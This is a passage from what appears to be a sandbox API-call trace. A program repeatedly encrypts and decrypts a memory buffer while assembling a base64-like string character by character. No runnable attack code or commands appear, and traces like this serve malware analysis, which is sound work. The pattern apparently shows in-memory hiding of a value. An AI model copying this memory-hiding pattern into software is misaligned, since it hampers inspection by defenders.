Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0134.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0134.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0134.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0134.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0134.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0134.832] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.832] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0134.832] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.833] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0134.833] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0134.833] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.833] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0134.833] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0134.833] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.833] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0134.833] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.833] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0134.833] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.833] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0134.834] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0134.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.834] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.834] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.834] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.834] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.834] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.834] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.834] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.835] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.835] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.835] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.835] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.835] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.835] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.835] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.835] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.835] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.835] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.836] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.836] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.836] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.836] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.836] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.836] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.836] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.836] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.836] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.836] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.836] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.836] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.837] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.837] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.837] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.837] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.838] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.838] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.838] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.838] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.838] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.838] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.838] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.838] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.838] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.838] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.838] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.838] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.838] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.839] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.839] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.839] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.839] SystemFunction041 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.839] SystemFunction040 (in: Memory=0x43830fc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43830fc) returned 0x0 [0134.839] SysStringLen 